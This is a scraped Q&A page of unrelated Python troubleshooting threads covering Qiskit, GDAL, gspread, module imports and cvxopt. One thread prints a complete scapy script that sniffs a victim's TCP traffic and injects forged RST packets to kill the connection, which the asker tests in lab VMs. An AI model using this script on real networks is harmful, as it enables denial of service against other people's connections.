Unable to retrieve result for pulse job in IBM Qiskit - python

Environment
{'qiskit-terra': '0.21.1', 'qiskit-aer': '0.10.4', 'qiskit-ignis': None, 'qiskit-ibmq-provider': '0.19.2', 'qiskit': '0.37.1', 'qiskit-nature': '0.4.2', 'qiskit-finance': '0.3.3', 'qiskit-optimization': '0.4.0', 'qiskit-machine-learning': '0.4.0'}
Python 3.8
IBM Quantum Lab and MacOS
What is happening?
When I try to send a pulse schedule to IBMQ Jakarta in IBM Quantum Lab. I get the following error
Traceback (most recent call last):
Input In [24] in <cell line: 1>
job2.result().get_counts()
File /opt/conda/lib/python3.8/site-packages/qiskit/providers/ibmq/job/ibmqjob.py:290 in result
raise IBMQJobFailureError(
IBMQJobFailureError: 'Unable to retrieve result for job 634c09e4d31ce7a982d82517. Job has failed: Waveform memory exceeds the maximum amount of memory currently available. Error code: 8018.'
How can we reproduce the issue?
import qiskit
qiskit.IBMQ.enable_account("KEY")
qiskit.IBMQ.providers()
backend = ibmq_provider.get_backend("ibmq_jakarta")
from qiskit import QuantumRegister, ClassicalRegister, QuantumCircuit
from numpy import pi
qreg_cin = QuantumRegister(1, 'cin')
qreg_a = QuantumRegister(1, 'a')
qreg_b = QuantumRegister(1, 'b')
qreg_cout = QuantumRegister(1, 'cout')
creg_c = ClassicalRegister(2, 'c')
qc = QuantumCircuit(qreg_cin, qreg_a, qreg_b, qreg_cout, creg_c)
# set input states
qc.x(qreg_a[0])
# a = 1
qc.x(qreg_b[0])
# b = 1
# add a to b, storing result in b
qc.cx(qreg_a[0], qreg_b[0])
qc.cx(qreg_a[0], qreg_cin[0])
qc.ccx(qreg_cin[0], qreg_b[0], qreg_a[0])
qc.cx(qreg_a[0], qreg_cout[0])
qc.ccx(qreg_cin[0], qreg_b[0], qreg_a[0])
qc.cx(qreg_a[0], qreg_cin[0])
qc.cx(qreg_cin[0], qreg_b[0])
qc.measure(qreg_b[0], creg_c[0])
qc.measure(qreg_cout[0], creg_c[1])
from qiskit import transpile
transpiled_qc = qiskit.transpile(qc, backend=backend,optimization_level = 3)
pulse_schedule_standard = qiskit.schedule(transpiled_qc, backend)
job2 = qiskit.execute(pulse_schedule_standard, shots=8192, backend=backend)
job2.status()
job2.result().get_counts()

Related

python gdal not processing grib file properly on CENTOS linux

I am trying to use python gdal to process a grib2 file into a geotiff file based on the following example:
https://geoexamples.com/d3-raster-tools-docs/code_samples/vardah.html
based on this I have the following code:
import gdal
import osr
ds = gdal.Open(r"/home/test/gfs.t12z.sfluxgrbf000.grib2",1)
gph = ds.GetRasterBand(84).ReadAsArray()
press = ds.GetRasterBand(54).ReadAsArray() / 100
temp = ds.GetRasterBand(52).ReadAsArray()
u = ds.GetRasterBand(50).ReadAsArray()
v = ds.GetRasterBand(51).ReadAsArray()
corr_press = press * (1 - (0.0065*gph/(0.0065*gph + temp + 273.15)))**-5.257
driver = gdal.GetDriverByName('GTiff')
outRaster = driver.Create("/home/test/vardah2.tiff", ds.RasterXSize, ds.RasterYSize, 4, gdal.GDT_Float32)
outRaster.SetGeoTransform(ds.GetGeoTransform())
outband = outRaster.GetRasterBand(1)
outband.WriteArray(corr_press)
outband.SetMetadata({'name': 'press'})
outRasterSRS = osr.SpatialReference()
outRasterSRS.ImportFromEPSG(4326)
outRaster.SetProjection(outRasterSRS.ExportToWkt())
outband.FlushCache()
I am attempting to do this on centos 7 and when I run the program I get the following error:
ERROR 6: The GRIB driver does not support update access to existing datasets.
Traceback (most recent call last):
File "ficky.py", line 4, in <module>
gph = ds.GetRasterBand(84).ReadAsArray()
AttributeError: 'NoneType' object has no attribute 'GetRasterBand'
How do I resolve this error to get a successful run of this script on a centos interface?
Change
ds = gdal.Open(r"/home/test/gfs.t12z.sfluxgrbf000.grib2",1)
to
ds = gdal.Open("/home/test/gfs.t12z.sfluxgrbf000.grib2")
or even better
ds = gdal.Open("/home/test/gfs.t12z.sfluxgrbf000.grib2", GA_ReadOnly)

Can't create file into specific folder using gspread google colab

Yesterday I was still able to create a google sheet files using gspread into a specific folder using this code:
ss = gc.create(fileName,"my folder destination")
But today, this code yields an error.
Here is my full code:
from google.colab import auth
auth.authenticate_user()
import pandas as pd
import gspread
from google.auth import default
creds, _ = default()
gc = gspread.authorize(creds)
wb = gc.open('file name')
ws = wb.worksheet('sheet name')
# get_all_values gives a list of rows.
rows = ws.get_all_values()
df = pd.DataFrame.from_records(rows[1:],columns=rows[0])
modisseries = df["column name"]
uniquemodis = modisseries.drop_duplicates().tolist()
def createSpreadsheet(columName):
ndf = df[df["Modis"] == Columname]
nlist = [ndf.columns.tolist()] + ndf.to_numpy().tolist()
ss = gc.create(columnName,"Folder_id")
nws = ss.sheet1
nws.update_title(columnName)
nws.update("A1",nlist,value_input_option="USER_ENTERED")
for modis in uniquemodis:
createSpreadsheet(modis)
And here is the error message:
TypeError Traceback (most recent call last)
<ipython-input-1-5c297289782b> in <module>()
30
31 for column_value in uniquecolumn:
---> 32 createSpreadsheet(column_value)
<ipython-input-1-5c297289782b> in createSpreadsheet(column_value)
24 nlist = [ndf.columns.tolist()] + ndf.to_numpy().tolist()
25
---> 26 ss = gc.create(column_value,"folder_id")
27 nws = ss.sheet1
28 nws.update_title(column_value)
TypeError: create() takes 2 positional arguments but 3 were given
Hi which version of gspread do you use ?
The parameter folder_id has been introduced in version 3.5.0
From the error message you get it seems you have an old version and it does not handle the new parameter folder_id.
You can check the version you are currently using by using: print(gspread.__version__)
If this is bellow version 3.5.0 then run the following command:
python3 -m pip install -U gspread

missing variable to complete cell execution

I hope someone can help me. I've been stuck with this error for a while. I have two .py files that I am importing in a jupyter notebook. When running the last cell (see code below) I get a Traceback error I can'f fix.
I think there is some error in my ch_data_prep.py file related to variable df_ch not correctly passed between files. Is this possible? Any suggestion on how to solve this problem?
Thanks!
ch_data_prep.py
def seg_data(self):
seg_startdate = input('Enter start date (yyyy-mm-dd): ')
seg_finishdate = input('Enter end date (yyyy-mm-dd): ')
df_ch_seg = df_ch[(df_ch['event_datetime'] > seg_startdate)
& (df_ch['event_datetime'] < seg_finishdate)
]
return df_ch_seg
df_ch_seg = seg_data(df_ch)
ch_db.py
def get_data():
# Some omitted code here to connect to database and get data...
df_ch = pd.DataFrame(result)
return df_ch
df_ch = get_data()
Jupyter Notebook data_analysis.ipynb
In[1]: import ch_db
df_ch = ch_db.get_data()
In[2]: import ch_data_prep
When I run cell 2, I get this error
--------------------------------------------------------------------
TypeError Traceback (most recent call last)
<ipython-input-3-fbe2d4fceba6> in <module>
----> 1 import ch_data_prep
~/clickstream/ch_data_prep.py in <module>
34 return df_ch_seg
35
---> 36 df_ch_seg = seg_data()
TypeError: seg_data() missing 1 required positional argument: 'df_ch'

OverflowError: Python int too large to convert to C long - TCP Reset Attack code

I got the following code from here: https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2
I tried to perform the attack using 3 Ubuntu VMs (Ubuntu 16.04.2 LTS
). Here's my code:
#!/usr/bin/python
from scapy.all import *
win=512
tcp_rst_count = 10
victim_ip = "10.0.2.5"
your_iface = "enp0s3"
# get a tcp packet by sniffing LAN
t = sniff(iface=your_iface, count=1,
lfilter=lambda x: x.haslayer(TCP)
and x[IP].src == victim_ip)
t = t[0]
tcpdata = {
'src': t[IP].src,
'dst': t[IP].dst,
'sport': t[TCP].sport,
'dport': t[TCP].dport,
'seq': t[TCP].seq,
'ack': t[TCP].ack
}
max_seq = tcpdata['ack'] + tcp_rst_count * win
seqs = range(tcpdata['ack'], max_seq, int(win / 2))
p = IP(src=tcpdata['dst'], dst=tcpdata['src']) / \
TCP(sport=tcpdata['dport'], dport=tcpdata['sport'],
flags="R", window=win, seq=seqs[0])
for seq in seqs:
p.seq = seq
send(p, verbose=0, iface=your_iface)
print('tcp reset attack finish')
The code is run in VM1. I run it and I try to telnet from VM2 to VM3 and as soon as I do that I get the following exception:
Traceback (most recent call last):
File "./tcp_rst.py", line 26, in <module>
seqs = range(tcpdata['ack'], max_seq, long(win / 2))
OverflowError: Python int too large to convert to C long
What could be the culprit of this. While doing some research, I haven't seen this exception occur with the range function.
If you're using Python 3, you don't need the long(win / 2) call. Just replace that with win / 2.
You are likely importing ctypes.c_long as long somewhere

CVXOPT Module Python - DLL load failed: The specified module cannot be found

I'm unable to run this code. When I run this it gives me an error which, from what I understand it means that it is unable to import cvxopt.base module.
If there is anyone who has encountered this error or knows the solution to this problem, please reach out.
I'm sharing the code & trace of Python interface below:
The Code:
#!/usr/bin/env python
import numpy as np
from numpy import linalg
from cvxopt import solvers
def Twin_plane_1(R,S,C1,Epsi1,regulz1):
StS = np.dot(S.T,S)
# for regularization we add identity matrix with wt. before inversion
StS = StS + regulz1*(np.identity(StS.shape[0]))
StSRt = linalg.solve(StS,R.T)
RtStSRt = np.dot(R,StSRt)
RtStSRt = (RtStSRt+(RtStSRt.T))/2
m2 = R.shape[0]
e2 = -np.ones((m2,1))
solvers.options['show_progress'] = False
vlb = np.zeros((m2,1))
vub = C1*(np.ones((m2,1)))
# x<=vub
# x>=vlb -> -x<=-vlb
# cdx<=vcd
cd = np.vstack((np.identity(m2),-np.identity(m2)))
vcd = np.vstack((vub,-vlb))
alpha = solvers.qp(matrix(RtStSRt,tc='d'),matrix(e2,tc='d'),matrix(cd,tc='d'),matrix(vcd,tc='d'))#,matrix(0.0,(1,m1)),matrix(0.0))#,None,matrix(x0))
alphasol = np.array(alpha['x'])
z = -np.dot(StSRt,alphasol)
w1 = z[:len(z)-1]
b1 = z[len(z)-1]
return [w1,b1]
The Trace:
Traceback (most recent call last): File
"C:\Users\sau\Downloads\Twin-SVM-master\Twin-SVM-master\TwinPlane1.py",
line 6, in
from cvxopt import solvers File "C:\Python35\lib\site-packages\cvxopt__init__.py", line 50, in
import cvxopt.base ImportError: DLL load failed: The specified module could not be found.
I was having the same issue...try this:
import os
os.environ['PATH'] += r';C:\\Users\\user\\AppData\\Local\\Continuum\\anaconda3\\Library\\mingw-
w64\\bin'

Categories